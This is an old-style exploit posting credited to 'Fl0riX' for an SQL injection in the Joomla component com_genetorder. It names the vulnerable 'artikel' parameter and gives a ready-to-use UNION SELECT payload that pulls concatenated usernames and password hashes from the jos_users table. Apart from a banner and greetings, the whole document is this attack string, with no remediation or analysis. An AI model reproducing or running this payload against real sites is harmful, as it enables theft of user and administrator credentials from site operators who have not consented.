============================================================================
=                                                                                                                                                                      
 =
=                                                  Author  : Fl0riX                                                                                                =

=                                                                          
                                                                        
                    
 =
=                                                 Greez: Sakkure, Code Hunters Family & All CW                              
                    
 =
=                                                                          

                                                                        
                    
 =
=                                                  Name: J oomla com_genetorder
                                                                       =

=                                                                          
                                                                        
                    
 =
=                                                  Bug Type: SQL Injection           
                                                                        =

= == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == 
= Example:                                                                                                                                                         
=
    
site/index.php?option=com_genetorder&shop=artikelbeschreibung&artikel=[EXPLOIT]


= == == == == == == == == == == == == == == == == == == == == == == == 
== == == == == == == == 
= 
Exploit   :                                                                                                                                                         
=
   
null+union+select+1,2,concat(username,0x3a,password)fl0rix,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+jos_users-
= == == == == == == == == == == == == == == == == == == == == == == == 
== == == == == == == ==